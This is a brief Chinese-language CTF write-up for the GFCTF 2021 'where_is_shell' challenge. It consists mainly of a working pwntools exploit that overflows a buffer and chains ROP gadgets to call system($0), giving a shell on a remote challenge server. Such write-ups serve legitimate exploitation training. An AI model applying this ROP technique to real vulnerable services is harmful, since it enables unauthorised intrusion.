[GFCTF 2021]where_is_shell wp

此题为64位ret2text题目
先查看一下保护

提供system函数,但是string里面没有提供/bin/sh

tips提醒,此题考虑传入$0从而构建system($0)
故exp:

from pwn import *

# io=process("./shell")
io=remote("1.14.71.254",28279)
elf=ELF("./shell")

ret_addr=0x400416
sys_addr=elf.sym[b"system"]
pop_rdi_addr=0x4005e3
str_0_addr=0x400541
payload=cyclic(0x18)+p64(ret_addr)+p64(pop_rdi_addr)+p64(str_0_addr)+p64(sys_addr)
io.sendline(payload)
io.interactive()